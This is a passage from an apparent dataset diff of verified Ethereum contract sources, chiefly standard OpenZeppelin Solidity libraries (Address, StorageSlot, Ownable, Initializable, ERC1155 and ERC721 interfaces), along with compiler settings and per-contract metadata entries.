internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
|
15 |
+
},
|
16 |
+
"node_modules/@openzeppelin/contracts/utils/StorageSlot.sol": {
|
17 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n}\n"
|
18 |
+
}
|
19 |
+
},
|
20 |
+
"settings": {
|
21 |
+
"remappings": [
|
22 |
+
"@openzeppelin/=node_modules/@openzeppelin/"
|
23 |
+
],
|
24 |
+
"optimizer": {
|
25 |
+
"enabled": true,
|
26 |
+
"runs": 300
|
27 |
+
},
|
28 |
+
"metadata": {
|
29 |
+
"bytecodeHash": "ipfs"
|
30 |
+
},
|
31 |
+
"outputSelection": {
|
32 |
+
"*": {
|
33 |
+
"*": [
|
34 |
+
"evm.bytecode",
|
35 |
+
"evm.deployedBytecode",
|
36 |
+
"devdoc",
|
37 |
+
"userdoc",
|
38 |
+
"metadata",
|
39 |
+
"abi"
|
40 |
+
]
|
41 |
+
}
|
42 |
+
},
|
43 |
+
"evmVersion": "london",
|
44 |
+
"libraries": {}
|
45 |
+
}
|
46 |
+
}
|
organized_contracts/00/0008c1e6b7aa5ff81ec0fb6bcc242dce044db12c680ce9a211c9d5e491b6ae9c/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"SAMO","CompilerVersion":"v0.8.17+commit.8df45f5f","Runs":300,"OptimizationUsed":true,"BytecodeHash":"0008c1e6b7aa5ff81ec0fb6bcc242dce044db12c680ce9a211c9d5e491b6ae9c"}
|
organized_contracts/00/0008d8bf9106e63c8c817860dcd08ca0a194d28c9108a19ee9810c71c15a0e75/contract.json
ADDED
The diff for this file is too large to render.
See raw diff
|
|
organized_contracts/00/0008d8bf9106e63c8c817860dcd08ca0a194d28c9108a19ee9810c71c15a0e75/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"MockRebalancer","CompilerVersion":"v0.8.4+commit.c7e474f2","Runs":200,"OptimizationUsed":false,"BytecodeHash":"0008d8bf9106e63c8c817860dcd08ca0a194d28c9108a19ee9810c71c15a0e75"}
|
organized_contracts/00/000ab28b4a65257ea199f8f36cb5fc7e701c1dc548687aab94c179399043e8b1/contract.json
ADDED
@@ -0,0 +1,82 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"language": "Solidity",
|
3 |
+
"sources": {
|
4 |
+
"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol": {
|
5 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
|
6 |
+
},
|
7 |
+
"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": {
|
8 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.1) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized < type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
|
9 |
+
},
|
10 |
+
"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": {
|
11 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
|
12 |
+
},
|
13 |
+
"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol": {
|
14 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
|
15 |
+
},
|
16 |
+
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
|
17 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
|
18 |
+
},
|
19 |
+
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
|
20 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n * @dev Handles the receipt of a single ERC1155 token type. This function is\n * called at the end of a `safeTransferFrom` after the balance has been updated.\n *\n * NOTE: To accept the transfer, this must return\n * `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n * (i.e. 0xf23a6e61, or its own function selector).\n *\n * @param operator The address which initiated the transfer (i.e. msg.sender)\n * @param from The address which previously owned the token\n * @param id The ID of the token being transferred\n * @param value The amount of tokens being transferred\n * @param data Additional data with no specified format\n * @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n * @dev Handles the receipt of a multiple ERC1155 token types. This function\n * is called at the end of a `safeBatchTransferFrom` after the balances have\n * been updated.\n *\n * NOTE: To accept the transfer(s), this must return\n * `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n * (i.e. 0xbc197c81, or its own function selector).\n *\n * @param operator The address which initiated the batch transfer (i.e. msg.sender)\n * @param from The address which previously owned the token\n * @param ids An array containing ids of each token being transferred (order and length must match values array)\n * @param values An array containing amounts of each token being transferred (order and length must match ids array)\n * @param data Additional data with no specified format\n * @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
|
21 |
+
},
|
22 |
+
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
|
23 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * 